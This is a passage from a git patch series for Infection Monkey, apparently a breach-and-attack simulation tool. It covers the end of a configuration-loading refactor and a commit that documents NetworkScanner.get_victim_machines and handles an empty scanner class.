+31,16 @@ class Configuration(object): continue if self._depth_from_commandline and key == "depth": continue - if 'class' in key: - # handle in cases - if key == 'finger_classes': - class_objects = [getattr(network_import, val) for val in value] - setattr(self, key, class_objects) - elif key == 'scanner_class': - scanner_object = getattr(network_import, value) - setattr(self, key, scanner_object) - elif key == 'exploiter_classes': - class_objects = [getattr(exploit_import, val) for val in value] - setattr(self, key, class_objects) - else: - unknown_items.append(key) + # handle in cases + if key == 'finger_classes': + class_objects = [getattr(network_import, val) for val in value] + setattr(self, key, class_objects) + elif key == 'scanner_class': + scanner_object = getattr(network_import, value) + setattr(self, key, scanner_object) + elif key == 'exploiter_classes': + class_objects = [getattr(exploit_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) From f6cb7ab6551299c72416f41303f9fa4fa0eaf2c2 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 29 Aug 2018 11:09:11 -0400 Subject: [PATCH 19/19] Fix possible empty initialization of scanner class. Scanner now defaults to none, and we need to handle that case in the scanner. --- monkey/infection_monkey/network/network_scanner.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index cc0788154..f34c3b920 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -39,7 +39,15 @@ class NetworkScanner(object): LOG.info("Base local networks to scan are: %r", self._ranges) def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): - assert issubclass(scan_type, HostScanner) + """ + Finds machines according to the ranges specified in the object + :param scan_type: A hostscanner class, will be instanced and used to scan for new machines + :param max_find: Max number of victims to find regardless of ranges + :param stop_callback: A callback to check at any point if we should stop scanning + :return: yields a sequence of VictimHost instances + """ + if not scan_type: + return scanner = scan_type() victims_count = 0